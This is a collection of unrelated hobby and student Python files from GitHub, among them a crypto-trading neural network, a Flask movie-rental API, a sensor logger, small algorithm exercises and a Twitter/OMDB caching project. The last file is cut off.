\r\n X_VOL_TENSOR2 : np.reshape(np.array(batch_X[VOL_TENSOR2]), \\\r\n (-1, N_COINS-1, N_LAGS, 1))\r\n }\r\n \r\n #_, summary = sess.run([train_step,summary_op], feed_dict=train_data)\r\n #a_rwd = sess.run(reward, feed_dict=train_data)\r\n step, r_wd, lss, reg_lss = sess.run([train_step,reward,loss,reg_losses], feed_dict=train_data)\r\n #a_rwd2 = sess.run(reward, feed_dict=train_data)\r\n #print(\"Epoch {:<12} Reward: {:<12.6f} ---> {:<12.6f}\".format(epoch, a_rwd, a_rwd2))\r\n #writer.add_summary(summary,epoch)\r\n \r\n # === Tensorboard - start-2 === #\r\n # Run optimization / cost op (backprop / to get loss value) and summary nodes\r\n #_, summary = sess.run([train_step,summary_op], feed_dict=train_data)\r\n # Write logs at every iteration\r\n \r\n \r\n print(\"Epoch: {:<10} LR: {:<12.8f} Loss: {:<12.8f} Rwd: {:<12.8f}\".format(epoch, reg_lss, lss, math.exp(r_wd)))\r\n #update_lr = tf.assign(LEARNING_RATE, new_lr)\r\n #sess.run(update_lr)\r\n \r\n if epoch == 0:\r\n update_lr = tf.assign(LEARNING_RATE, 0.01)\r\n sess.run(update_lr)\r\n \r\n if epoch == 100:\r\n update_lr = tf.assign(LEARNING_RATE, 0.003)\r\n sess.run(update_lr)\r\n \r\n if epoch == 200:\r\n update_lr = tf.assign(LEARNING_RATE, 0.001)\r\n sess.run(update_lr)\r\n \r\n if epoch == 300:\r\n update_lr = tf.assign(LEARNING_RATE, 0.0001)\r\n sess.run(update_lr)\r\n \r\n #update_lr = tf.assign(LEARNING_RATE, new_lr)\r\n #sess.run(update_lr)\r\n \r\n #print(\"Learning Rate: {}, reward: {}\".format(new_lr, math.exp(r_wd)))\r\n#---------------------------------------------------------------------------------------------------\r\n\r\nplt.plot(dat_rwds)\r\nplt.plot(imm_rwds)\r\nplt.legend(['Discount Test Reward', 'Actual Test Reward'], loc=4)\r\nplt.show()\r\n\r\nupdate_drop_rt = tf.assign(cnn_keep_prob, 1)\r\nsess.run(update_drop_rt)\r\n\r\nif COMMISSION != 0:\r\n prev_weights = [[1 if idx == 0 else 0 for idx in range(N_OUT)]]\r\n stime = time.time()\r\n test_imm.at[:,PORT_W] = prev_weights * len(test_imm)\r\n b_x = np.reshape(test_imm[COLS_X], (-1,N_IN))\r\n b_y = np.reshape(test_imm[COLS_Y], (-1,N_OUT))\r\n pr_tens1 = np.reshape(np.array(b_x[PRICE_TENSOR]), (len(b_x), N_COINS-1, N_LAGS, N_CHANNEL))\r\n pr_tens2 = np.reshape(np.array(b_x[PRICE_TENSOR2]),(len(b_x), N_COINS-1, N_LAGS, N_CHANNEL))\r\n v_tens1 = np.reshape(np.array(b_x[VOL_TENSOR]), (-1, N_COINS-1, N_LAGS, 1))\r\n v_tens2 = np.reshape(np.array(b_x[VOL_TENSOR2]),(-1, N_COINS-1, N_LAGS, 1))\r\n for r in range(len(test_imm) - 1):\r\n if r % 1000 == 0:\r\n print(\"{:.2f}%\".format(100.0 * r / len(test_imm)))\r\n feed_row = {X: np.reshape(np.array(b_x.iloc[r,:]), (-1,N_IN)),\r\n \r\n Y_: np.reshape(np.array(b_y.iloc[r,:]), (-1,N_OUT)),\r\n \r\n PREV_W: np.reshape(prev_weights[-1], (-1, N_OUT)),\r\n \r\n X_PRICE_TENSOR : pr_tens1[r].reshape(-1,N_COINS-1,N_LAGS,N_CHANNEL),\r\n \r\n X_PRICE_TENSOR2 : pr_tens2[r].reshape(-1,N_COINS-1,N_LAGS,N_CHANNEL),\r\n\r\n X_VOL_TENSOR : v_tens1[r].reshape(-1,N_COINS-1,N_LAGS,1),\r\n \r\n X_VOL_TENSOR2 : v_tens2[r].reshape(-1,N_COINS-1,N_LAGS,1) \r\n }\r\n weights, y_vec = sess.run([Y, Y_], feed_dict=feed_row)\r\n y_vec_10 = (weights * 10 ** y_vec)\r\n w = y_vec_10 / np.sum(y_vec_10)\r\n prev_weights.append(w[0])\r\n b_x.at[r+1,PORT_W] = w[0]\r\n test_dat.at[r+1,PORT_W] = w[0]\r\n test_imm.at[r+1,PORT_W] = w[0]\r\n #print(r / (time.time() - stime))\r\n \r\n feed_imm = {X: np.reshape(test_imm[COLS_X], (-1, N_IN)), \r\n Y_: np.reshape(test_imm[COLS_Y], (-1, N_OUT)),\r\n PREV_W: np.reshape(prev_weights, (-1, N_OUT)),\r\n \r\n X_PRICE_TENSOR : np.reshape(np.array(test_imm[PRICE_TENSOR]), \r\n (-1, N_COINS-1, N_LAGS, N_CHANNEL)),\r\n \r\n X_PRICE_TENSOR2 : np.reshape(np.array(test_imm[PRICE_TENSOR2]), \r\n (-1, N_COINS-1, N_LAGS, N_CHANNEL)),\r\n\r\n X_VOL_TENSOR : np.reshape(np.array(test_imm[VOL_TENSOR]), \\\r\n (-1, N_COINS-1, N_LAGS, 1)),\r\n \r\n X_VOL_TENSOR2 : np.reshape(np.array(test_imm[VOL_TENSOR2]), \\\r\n (-1, N_COINS-1, N_LAGS, 1))\r\n }\r\n\r\n y1, y2, pw, f_rewards, f_loss = sess.run([Y, Y_, PREV_W, tensor_rwds, loss], \r\n feed_dict = feed_imm)\r\nelse:\r\n \r\n feed_imm = {X: np.reshape(test_imm[COLS_X], (-1, N_IN)), \r\n Y_: np.reshape(test_imm[COLS_Y], (-1, N_OUT)),\r\n \r\n X_PRICE_TENSOR : np.reshape(np.array(test_imm[PRICE_TENSOR]), \r\n (-1, N_COINS-1, N_LAGS, N_CHANNEL)),\r\n \r\n X_PRICE_TENSOR2 : np.reshape(np.array(test_imm[PRICE_TENSOR2]), \r\n (-1, N_COINS-1, N_LAGS, N_CHANNEL)),\r\n\r\n X_VOL_TENSOR : np.reshape(np.array(test_imm[VOL_TENSOR]), \\\r\n (-1, N_COINS-1, N_LAGS, 1)),\r\n \r\n X_VOL_TENSOR2 : np.reshape(np.array(test_imm[VOL_TENSOR2]), \\\r\n (-1, N_COINS-1, N_LAGS, 1))\r\n }\r\n y1, y2, f_rewards, f_loss = sess.run([Y, Y_, tensor_rwds, loss], \r\n feed_dict = feed_imm)\r\n\r\n\r\nlong_short = [[] for _ in range(3 if ALLOW_SHORTS else 2)]\r\nprops = [list(y1[:,i]) for i in range(len(y1[0]))]\r\n\r\nfor val in y1:\r\n val = list(val)\r\n long_short[0].append(val[0])\r\n if ALLOW_SHORTS:\r\n long_short[1].append(sum(val[1:N_COINS//2+1]))\r\n long_short[2].append(sum(val[N_COINS//2+1:]))\r\n else:\r\n long_short[1].append(sum(val[1:]))\r\n\r\nrolling_window = 100\r\nfor i in range(len(long_short)):\r\n dat = pd.rolling_mean(pd.Series(long_short[i]),rolling_window)\r\n plt.plot(dat)\r\nplt.legend(['USD', 'Long', 'Short'] if ALLOW_SHORTS else ['USD', 'Long'], loc=4)\r\nplt.show()\r\n\r\nfor i in range(len(props)):\r\n dat = pd.rolling_mean(pd.Series(props[i]),rolling_window)\r\n plt.plot(dat)\r\nplt.legend([x[x.index(\"_\")+1:] for x in COLS_Y], loc=4)\r\nplt.show()\r\n\r\nresult = pd.concat(\r\n \r\n [pd.DataFrame(y2, columns=COLS_Y),\r\n pd.DataFrame(y1, columns=[\"{}_%\".format(x.replace(\"reward_\",\"\")) for x in COLS_Y])\r\n ]\r\n ,axis=1\r\n )\r\n\r\ndef showArray(arr, decimals = 3):\r\n return \"[\" + \" \".join([\"{1:.{0}f}\".format(decimals, x) for x in arr]) + \"]\"\r\n\r\nw = list(y1)\r\n\r\nrewards = [] # All Rewards (Multiplicative)\r\nlog_rewards = [] # All Log Rewards (Additive)\r\nprevW = [1] + [0] * (N_OUT - 1) # Weights from previous period\r\n\r\nSTEP = 1\r\n\r\nprint(\"Iteration, PrevW, Action, PriceChange, NewW, Reward\")\r\n#------------------------------------------------------------------------------\r\nfor i in range(len(y2)):\r\n \r\n c = 0.0025\r\n \r\n for j in range(len(w[i])):\r\n w[i][j] = max(w[i][j],0)\r\n \r\n if i % STEP == 0:\r\n cw = [x for x in w[i]]\r\n \r\n rw = 0 # Reward for this time step\r\n\r\n # Iterate through each asset and add each reward to the net reward\r\n #----------------------------------------------------------------\r\n for asset in range(len(cw)):\r\n\r\n # Transaction Cost\r\n tc = (1 - c * abs((cw[asset] - prevW[asset])**1))\r\n if i % STEP != 0:\r\n tc = 1\r\n mult = (10**y2[i][asset] - 1) + 1\r\n \r\n rw_asset = tc * (cw[asset]) * mult \r\n rw += rw_asset\r\n #----------------------------------------------------------------\r\n\r\n # Calculate what new weights will be after price move\r\n newW = [cw[A] * 10**y2[i][A] for A in range(len(cw))]\r\n newW = [x/sum(newW) for x in newW]\r\n \r\n #print(i, showArray(prevW), \"-->\", showArray(w[i]), \"*\", showArray(y[i]), \"=\", showArray(newW), \" {{ {}{:.3f}% }}\".format(\"+\" if rw >= 1 else \"\", 100*rw-100))\r\n \r\n prevW = newW\r\n cw = newW\r\n rewards.append(rw)\r\n log_rewards.append(math.log10(rw))\r\n \r\nplt.plot(pd.Series(log_rewards).cumsum())\r\nplt.plot(pd.Series(f_rewards).apply(lambda x : math.log10(math.exp(x))).cumsum())\r\nplt.plot(pd.Series(test_imm.close_BTC / test_imm.close_BTC[0]).apply(lambda x : math.log10(x)))\r\n#plt.plot(prof)\r\nplt.show()\r\n\r\nplt.plot(pd.Series(test_imm.close_BTC / test_imm.close_BTC[0]).apply(lambda x : math.log10(x)),\r\n pd.Series(log_rewards).cumsum(), 'ob')\r\nplt.show()\r\n","repo_name":"rendorHaevyn/Project_WinLife","sub_path":"Sam/CryptoAI.py","file_name":"CryptoAI.py","file_ext":"py","file_size_in_byte":40188,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"17589003057","text":"import os\nfrom flask import Flask, request, abort, jsonify\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_cors import CORS\nfrom models import setup_db, Movies, Rents\nfrom auth import requires_auth, AuthError\n\ndef create_app(test_config=None):\n app = Flask(__name__)\n setup_db(app)\n CORS(app, resources={r\"/\" : {\"origins\": '*'}})\n\n @app.after_request\n def after_request(response):\n response.headers.add('Access-Control-Allow-Headers', 'Content-Type')\n response.headers.add('Access-Control-Allow-Headers', 'GET, POST, PATCH, DELETE, OPTION')\n return response\n\n # For checking health of the application.\n @app.route('/', methods=[\"GET\"])\n def check_app():\n return jsonify({\n \"status\": \"App is working fine.\"\n })\n\n # Get all movies no authorization required.\n @app.route(\"/movies\", methods=['GET'])\n def get_all_movies():\n movies = Movies.query.all()\n if len(movies) == 0: \n abort(404)\n formatted_movies = [m.format() for m in movies]\n\n return jsonify({\n \"success\": True,\n \"movies\": formatted_movies\n })\n\n # Create a movie, requires 'create:movie' permission which only an admin have.\n @app.route(\"/create-movie\", methods=[\"POST\"])\n @requires_auth('create:movie')\n def create_movie(userData):\n try:\n data = request.get_json()\n\n if 'movie_name' and 'price' not in data:\n abort(422)\n movie = Movies(data['movie_name'], data['price'])\n movie.insert()\n return jsonify({\n 'success': True,\n 'movie': movie.format()\n })\n \n except:\n abort(422)\n\n # Updating a movie, requires 'update:movie' permission which only an admin have.\n @app.route(\"/movie/\", methods=[\"PATCH\"])\n @requires_auth('update:movie')\n def update_movie(userData,id):\n data = request.get_json()\n if 'movie_name' and 'price' not in data:\n abort(400)\n\n movie = Movies.query.filter(Movies.id==id).one_or_none()\n\n if not movie:\n abort(404)\n\n if 'movie_name' in data:\n movie.movie_name = data['movie_name']\n if 'price' in data:\n movie.price = data['price']\n\n movie.update()\n return jsonify({\n 'success': True,\n 'movie': movie.format()\n })\n\n # Deleting a movie, requires 'delete:movie' permission which only an admin have.\n @app.route('/movie/', methods=['DELETE'])\n @requires_auth('delete:movie')\n def delete_movie(userData, id):\n movie = Movies.query.filter(Movies.id==id).one_or_none()\n\n if not movie:\n abort(404)\n\n movie.delete()\n return jsonify({\n 'success': True,\n 'id': id\n })\n\n # Get all rented movies, no authentication required.\n @app.route('/rented-movies', methods=['GET'])\n def get_rented_movies():\n try:\n data = Rents.query.join(Movies).all()\n all_rented_movies = [r.format() for r in data]\n\n return jsonify({\n 'success': True,\n 'movies': all_rented_movies\n })\n\n except:\n abort(422)\n\n # Rent a movie, requires 'rent:movie' permission which an authenticated user and admin has.\n @app.route('/rent-movie', methods=[\"POST\"])\n @requires_auth('rent:movie')\n def rent_a_movie(userData):\n try:\n data = request.get_json()\n if 'movie_id' not in data or 'days' not in data:\n abort(400)\n \n movie = Movies.query.get(data['movie_id'])\n charge = movie.price * data['days']\n\n rented_movie = Rents(movie_id=data['movie_id'], charges=charge)\n rented_movie.insert()\n return jsonify({\n 'success': True,\n 'rented_movie': rented_movie.format()\n })\n\n except:\n abort(404)\n\n # Handles not found error.\n @app.errorhandler(404)\n def handler_not_found(error):\n return jsonify({\n \"success\": False, \n \"error\": 404,\n \"message\": \"resource not found\"\n }), 404\n\n # Handles unprocessable error.\n @app.errorhandler(422)\n def handler_unprocessable(error):\n return jsonify({\n \"success\": False, \n \"error\": 422,\n \"message\": \"unprocessable\"\n }), 422\n\n # Handles bad request error.\n @app.errorhandler(400)\n def handler_bad_request(error):\n return jsonify({\n \"success\": False, \n \"error\": 400,\n \"message\": \"bad request\"\n }), 400\n \n # Handles illegal requests, like sending post request in endpoint which only accepts get requests.\n @app.errorhandler(405)\n def handler_bad_request(error):\n return jsonify({\n \"success\": False, \n \"error\": 405,\n \"message\": \"method not allowed\"\n }), 405\n\n # Handles AuthError which are defined in auth.py file.\n @app.errorhandler(AuthError)\n def handle_auth_error(err):\n jsonRes = jsonify(err.error)\n jsonRes.status_code = err.status_code\n return jsonRes\n \n\n return app\n\napp = create_app()\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0', port=8080, debug=True)","repo_name":"abhishekjain35/movie-rental-flask","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5410,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"42707472461","text":"import csv\nimport click\nimport re\n\n\n@click.command()\n@click.option('--input-tsv', '-i', type=click.Path(exists=True), help='Input TSV file name', required=True)\n@click.option('--output-tsv', '-o', help='Output TSV file name', required=True)\n@click.option('--column', '-c', help='Column name to extract unique values from', required=True)\ndef extract_unique_values(input_tsv, output_tsv, column):\n with open(input_tsv, newline='') as csvfile:\n reader = csv.DictReader(csvfile, delimiter='\\t')\n unique_values = set()\n for row in reader:\n unique_values.add(row[column])\n unique_values = sorted(unique_values)\n\n # Apply substitutions and case changes to the unique values\n modified_unique_values = [re.sub(r'[\\s_/-]+(\\w)', lambda m: m.group(1).upper(), value.title()) for value in\n unique_values]\n\n # Write out two columns: original values and modified values\n with open(output_tsv, 'w', newline='') as outfile:\n writer = csv.writer(outfile, delimiter='\\t')\n for values in zip(modified_unique_values, unique_values):\n writer.writerow(values)\n\n\nif __name__ == '__main__':\n extract_unique_values()\n","repo_name":"turbomam/mixs-subset-examples-first","sub_path":"src/mixs_subset_examples_first/datamodel/unique_two.py","file_name":"unique_two.py","file_ext":"py","file_size_in_byte":1235,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"43060997640","text":"\nfrom datetime import datetime, date, time\n\n\nclass Restaurant:\n\n\t# opening_times is a list, 0 = Monday, 6 = Sunday\n\t# members are an oredered list of OPeningTime instances\n\n\tdef __init__(self, name, tables=None):\n\t\tself.name = name\n\t\tself.tables = self._create_tables(tables)\n\t\tself.opening_times = []\n\t\tself.reservations = {}\n\n\tdef retrieve_reservations(self, date, people=None):\n\t\t\"\"\"\n\t\treturns a list, ordered by table size (lo to hi), of reservations\n\t\t{\n\t\t\ttable: [list of reservations]\n\t\t}\n\t\twe can limit what tables we return here\n\t\t\"\"\"\n\t\treturn []\n\n\tdef _is_table_free(table, reservations, time):\n\t\t\"\"\"\n\t\t:return: boolean\n\t\t\"\"\"\n\n\n\tdef _create_tables(self, tables=None):\n\t\tif tables is None:\n\t\t\treturn None\n\t\treturn [Table(self, t) for t in sorted(tables)]\n\n\tdef request_booking(self, customer, people, date, time):\n\t\t\"\"\"\n\t\t:param customer: Customer instance\n\t\t:param people: int\n\t\t:time: datetime\n\t\treturns: a Table instance or None\n\t\t\"\"\"\n\n\t\t# retrieve reservations for this day\n\t\treservations = self.retrieve_reservations(date, people)\n\n\t\t# search for suitable tables\n\t\t# search for free slot on suitable tables\n\t\t# return free slot\n\t\treturn None\n\n\n\nclass Table:\n\n\tdef __init__(self, restaurant, seats):\n\t\tself.restaurant = restaurant\n\t\tself.seats = seats\n\n\n\nclass OpeningTime:\n\trestaurant\n\tday_of_week\n\topen\n\tclose\n\n\tdef set_open_time(self):\n\t\tself.open = time\n\n\tdef set_close_time(self, time):\n\t\tself.close = time\n\n\tdef delete(self):\n\t\t\"\"\"\n\t\tmanages the restaurant relationship\n\t\t\"\"\"\n\t\tself.restaurant._delete_opening_time(self)\n\n\nclass Customer:\n\tname\n\ttelephone\n\n\nclass Reservation:\n\tcustomer\n\tpeople\n\tdate\n\ttime\n\tduration\n\n\n\n\nr = Restaurant(name=\"Cafe\", tables=[4, 4, 4, 4, 4, 6, 6])\nr.add_opening_time(day=0, open='1200', close='2359')\ntimes = r.get_opening_times(day=0)\ntimes[0].delete()\n\n# what about opening on one day, closing the next? = 2 opening hours\n# how do we handle multiple opening times in a single day?\n\n\nc = Customer(name=\"Foo\")\n\nbooking = r.request_booking(customer=c, people=4, time=datetime.now().replace(hours=19, minutes=0, seconds=0))\n\nreservation = r.confirm_booking(booking)\n\n\n\n\n","repo_name":"gareth53/exercise","sub_path":"exercises/oop/restaurant_booking.py","file_name":"restaurant_booking.py","file_ext":"py","file_size_in_byte":2118,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"31600085771","text":"import RPi.GPIO as GPIO\nimport dht11\nimport adafruit_ht16k33.segments as segments\nimport time\nimport board\nimport concurrent.futures\nimport csv\nimport datetime as dt\n\ndef main():\n i2c = board.I2C()\n #segment der I2C Adresse 0x70 und die Displaydefinition zuweisen\n segment = segments.Seg7x4(i2c, address=0x70) \n segment.fill(0)\n measurement_delay = 10 # Zeit zwischen Messungen\n\n GPIO.setmode(GPIO.BCM)\n GPIO.cleanup()\n # DHT11 Objekt anlegen\n instance = dht11.DHT11(pin = 4)\n starting_time = dt.datetime.now()\n csv_filename = f'messdaten_{starting_time.strftime(\"%Y_%m_%d, %H_%M_%S\")}.csv'\n fields = ['Zeit', 'Temperatur', 'Luftfeuchtigkeit'] # csv Feldnamen\n with open(csv_filename, 'a+') as csv_file:\n writer = csv.DictWriter(csv_file, fieldnames=fields)\n writer.writeheader() # csv Header erstellen\n while True: # Dauerbetrieb\n result = instance.read() # Liest die Werte des Sensors in ein Objekt ein\n if result.is_valid():\n # Temperatur und Luftfeuchtigkeit runden\n # Nachkommastellen werden aufgrund der Genauigkeit des Sensors\n # nicht benötigt\n temp = round(result.temperature)\n rh = round(result.humidity)\n\n print(f'Temperatur: {temp}')\n print(f'Luftfeuchtigkeit: {rh}')\n segment.fill(0)\n \n # Segmente mit jeweils 10er und 1er stelle füllen\n segment[0] = str(temp//10)\n segment[1] = str(temp%10)\n \n # 100 wird als 00 angezeigt\n segment[2] = str(rh//10 if rh < 100 else '0')\n segment[3] = str(rh%10)\n segment.show()\n with open(csv_filename, 'a+') as csv_file:\n writer = csv.DictWriter(csv_file, fieldnames=fields)\n writer.writerow({k: v for k, v in zip(fields, [dt.datetime.now().strftime('%d.%m.%Y %H:%M:%S'), temp, rh])})\n if measurement_delay is not None:\n time.sleep(measurement_delay)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"yusayu/Gewaechshausplan","sub_path":"sensor_scripts/temperature_humidity.py","file_name":"temperature_humidity.py","file_ext":"py","file_size_in_byte":2064,"program_lang":"python","lang":"de","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"35986047465","text":"import numpy as np\nimport pandas as pd\ndf = pd.read_excel('100003509.xlsx')\nout1 = df['outb']\nout2 = df['inb']\nout2.values.tolist()\nout1.values.tolist()\nout = out1\nx = []\ny = []\nn=[]\nt_out = []\ny_out = []\nf = []\nlist(t_out)\nprint(\"pembuatan fit\")\n################################### data untuk prediksi\n\nfor i in range(len(out)-4):\n print(str(i) +\" \" + str(i+4))\n n.append(out[i])\n n.append(out[i+1])\n n.append(out[i+2])\n n.append(out[i+3])\n n.append(out[i+4])\n n.append(out2[i+4])\n t_out.append(n)\n n = []\n#n = np.array(t_out)\nfor i in range(len(out)-5):\n y.append(out[i+5])\nx= np.array(t_out[:-1])\ny= np.array(y)\ny = y.reshape(x.shape[0],1)\n#####normalisasi####\n##tempx = str(np.amax(x))\n##tempx = len(tempx)\nvv = np.amax(x)\nx = np.divide(x,vv)\ny = np.divide(y,vv)\n\n\n#######################\nfinal = out.tail(5)\nfinal = np.array(final)\nfinal2 = out2.tail(1)\nfinal2 = np.array(final2)\nfinal = np.append(final,final2)\nfinal = np.divide(final,vv)\n###################################\n\nnp.random.seed(42)\nz = np.random.random_integers(vv,size=(6,1))\nweights = z/vv\nzb = np.random.random_integers(vv,size=(1,1))\nbias = zb/vv\nlr = 0.0001\n\ndef hasil(k):\n result = sigmoid(np.dot(k, weights) + bias)\n return result[0]\n\ndef sigmoid(n):\n return 1/(1+np.exp(-n))\n\ndef sigmoid_der(n):\n return sigmoid(n)*(1-sigmoid(n))\nprint(\"mulai training\")\n############################################\nfor epoch in range(10000):\n print(epoch)\n inputs = x\n\n # feedforward step1\n XW = np.dot(x, weights) + bias\n\n #feedforward step2\n z = sigmoid(XW)\n\n\n # backpropagation step 1\n error = z - y\n\n #print(error.sum())\n\n # backpropagation step 2\n dcost_dpred = error\n dpred_dz = sigmoid_der(z)\n\n z_delta = dcost_dpred * dpred_dz\n\n inputs = x.T\n weights -= lr * np.dot(inputs, z_delta)\n\n for num in z_delta:\n bias -= lr * num\n\n\n####################cetak hasil###########\nprint(\"pembuatan file excel\")\nfor i in range(len(x)):\n f.append(hasil(x[i]))\ny = y*vv\nf = np.array(f)\nf = f*vv\nf = f.astype(int)\nf = pd.DataFrame(f)\ny = pd.DataFrame(y)\nesult = pd.concat([y,f], axis=1)\nesult.to_excel(\"hasil.xlsx\")\n","repo_name":"lutfiex/workorder","sub_path":"in-test/neural-network-time-series.py","file_name":"neural-network-time-series.py","file_ext":"py","file_size_in_byte":2168,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"41372637968","text":"#데이터 삭제하기\n\nimport pymysql\ndb = None\ntry:\n db = pymysql.connect(\n host='127.0.0.1',\n port=3307,\n user='root',\n passwd='1234',\n db='homestead',\n charset='utf8'\n )\n id = 1 # 데이터 id (PK)\n sql = '''\n DELETE from tb_student where id=%d\n ''' % id\n with db.cursor() as cursor:\n cursor.execute(sql)\n db.commit()\nexcept Exception as e:\n print(e)\nfinally:\n if db is not None:\n db.close()","repo_name":"byunjiin/chatbotproject","sub_path":"chatbot2/delete-data.py","file_name":"delete-data.py","file_ext":"py","file_size_in_byte":490,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"35196067094","text":"def climb_stairs(n: int) -> int:\n # if you visualize this problem, you will see it's basically a Fibonacci sequence\n prev, curr = 0, 1\n for _ in range(n):\n prev, curr = curr, prev + curr\n return curr\n\n\nif __name__ == '__main__':\n print(climb_stairs(2))\n print(climb_stairs(3))\n","repo_name":"mwoss/algorithms","sub_path":"blind75/dp/climbing_stairs.py","file_name":"climbing_stairs.py","file_ext":"py","file_size_in_byte":302,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"82"} +{"seq_id":"3629129694","text":"from number_guessing import Number_guessing\n\nclass Computer:\n def __init__(self,to_guess):\n self.game = Number_guessing(to_guess)\n self.number = ['0','0','0','0']\n self.digit = 0\n self.results = '0'\n self.prevResults = '0'\n\n def play(self):\n if self.results[0] > self.prevResults[0]:\n self.digit += 1\n elif self.results[0] < self.prevResults[0]:\n self.number[self.digit] = str(int(self.number[self.digit]) - 1)\n self.digit += 1\n try:\n self.number[self.digit] = str(int(self.number[self.digit]) + 1)\n except:\n pass\n self.prevResults = self.results\n self.results = self.get_results() \n\n def get_results(self):\n word = \"\".join(self.number)\n self.game.compare(word)\n return self.game.get_G() + self.game.get_R()\n\n def getNumber(self):\n word = \"\".join(self.number)\n return word","repo_name":"porollansantiago/number-guessing-game","sub_path":"computer.py","file_name":"computer.py","file_ext":"py","file_size_in_byte":957,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"28866445985","text":"###### INSTRUCTIONS ###### \n\n# An outline for preparing your final project assignment is in this file.\n\n# Below, throughout this file, you should put comments that explain exactly what you should do for each step of your project. You should specify variable names and processes to use. For example, \"Use dictionary accumulation with the list you just created to create a dictionary called tag_counts, where the keys represent tags on flickr photos and the values represent frequency of times those tags occur in the list.\"\n\n# You can use second person (\"You should...\") or first person (\"I will...\") or whatever is comfortable for you, as long as you are clear about what should be done.\n\n# Some parts of the code should already be filled in when you turn this in:\n# - At least 1 function which gets and caches data from 1 of your data sources, and an invocation of each of those functions to show that they work \n# - Tests at the end of your file that accord with those instructions (will test that you completed those instructions correctly!)\n# - Code that creates a database file and tables as your project plan explains, such that your program can be run over and over again without error and without duplicate rows in your tables.\n# - At least enough code to load data into 1 of your dtabase tables (this should accord with your instructions/tests)\n\n######### END INSTRUCTIONS #########\n\n# Put all import statements you need here.\nimport unittest\nimport tweepy\nimport requests\nimport json\nimport twitter_info\nimport random\nimport re\nimport sqlite3\n\n# Begin filling in instructions....\n\n# Grab authentification info from twitter_info.py file\nconsumer_key = twitter_info.consumer_key\nconsumer_secret = twitter_info.consumer_secret\naccess_token = twitter_info.access_token\naccess_token_secret = twitter_info.access_token_secret\nauth = tweepy.OAuthHandler(consumer_key, consumer_secret)\nauth.set_access_token(access_token, access_token_secret)\n\n# Get twitter data in JSON format and store in variable api\napi = tweepy.API(auth, parser=tweepy.parsers.JSONParser())\n\n# Make cache file for Twitter data\nCACHE_FNAME = \"twitter_cache.json\"\n\n# Set up caching process for twitter_cache\ntry:\n\tcache_file = open(CACHE_FNAME,'r')\n\tcache_contents = cache_file.read()\n\tCACHE_DICTION = json.loads(cache_contents)\nexcept:\n\tCACHE_DICTION = {}\n\n# Define function get_twitter_search_data that takes in a movie tile and returns a dictionary of data about ten tweets that mention that movie and caches this data if not cached already\ndef get_twitter_search_data(movie_title):\n\tunique_identifier = \"twitter_{}\".format(movie_title) \n\n\tif unique_identifier in CACHE_DICTION:\n\t\ttwitter_results = CACHE_DICTION[unique_identifier]\n\telse:\n\t\ttwitter_results = api.search(movie_title)\n\n\t\tCACHE_DICTION[unique_identifier] = twitter_results\n\t\t\n\t\tf = open(CACHE_FNAME,'w')\n\t\tf.write(json.dumps(CACHE_DICTION)) \n\t\tf.close()\n\n\treturn twitter_results\n\n# Call twitter search function on three movies\ntwitter_data_Inception = get_twitter_search_data(\"Inception movie\")\n\ntwitter_data_Trainwreck = get_twitter_search_data(\"Trainwreck movie\")\n\ntwitter_data_Brooklyn = get_twitter_search_data(\"Brooklyn movie\")\n\n# Put resulting tweet dictionaries in a list of 3 dictionaries\ntwitter_data_search_list = []\ntwitter_data_search_list.append(twitter_data_Inception)\ntwitter_data_search_list.append(twitter_data_Trainwreck)\ntwitter_data_search_list.append(twitter_data_Brooklyn)\n\n\n# Make cache file for Twitter user data\nCACHE_FNAME3 = \"user_twitter_cache.json\"\n\n# Set up caching process for user_twitter_cache\ntry:\n\tcache_file3 = open(CACHE_FNAME3,'r')\n\tcache_contents3 = cache_file3.read()\n\tCACHE_DICTION3 = json.loads(cache_contents3)\nexcept:\n\tCACHE_DICTION3 = {}\n\n# Define function get_twitter_user_data that takes in a username and returns a dictionary of data about a user and caches this data if not cached already\ndef get_twitter_user_data(username):\n\tunique_identifier = \"twitter_{}\".format(username) \n\n\tif unique_identifier in CACHE_DICTION3:\n\t\ttwitter_results = CACHE_DICTION3[unique_identifier]\n\telse:\n\t\ttwitter_results = api.get_user(username)\n\n\t\tCACHE_DICTION3[unique_identifier] = twitter_results\n\t\t\n\t\tf = open(CACHE_FNAME3,'w')\n\t\tf.write(json.dumps(CACHE_DICTION3)) \n\t\tf.close()\n\n\treturn twitter_results\n\n\n# Make cache file for OMDB data\nCACHE_FNAME2 = \"omdb_cache.json\"\n\n# Set up caching process for omdb_cache\ntry:\n\tcache_file2 = open(CACHE_FNAME2,'r')\n\tcache_contents2 = cache_file2.read()\n\tCACHE_DICTION2 = json.loads(cache_contents2)\nexcept:\n\tCACHE_DICTION2 = {}\n\n# Write function get_omdb data that takes in a list of movie titles and returns a dictionary of all of the data about the movie movies and caches the data if it hasn't been cached already\ndef get_omdb_data(movie_list):\n\tmovie_info = []\n\tfor movie in movie_list:\n\t\tunique_identifier = \"omdb_{}\".format(movie)\n\n\t\tif unique_identifier in CACHE_DICTION2:\n\t\t\tmovie_info.append(CACHE_DICTION2[unique_identifier])\n\t\telse:\n\t\t\tr = requests.get(\"http://www.omdbapi.com/?t=\"+movie)\n\t\t\tomdb_results = r.text\n\n\t\t\tmovie_info.append(omdb_results)\n\n\t\t\tCACHE_DICTION2[unique_identifier] = omdb_results\n\t\t\n\t\t\tf = open(CACHE_FNAME2,'w')\n\t\t\tf.write(json.dumps(CACHE_DICTION2)) \n\t\t\tf.close()\n\n\treturn movie_info\n\n# List of three movie titles to get data for\nmovie_list = [\"Inception\", \"Trainwreck\", \"Brooklyn\"]\n\n# Call get OMDB data function and return 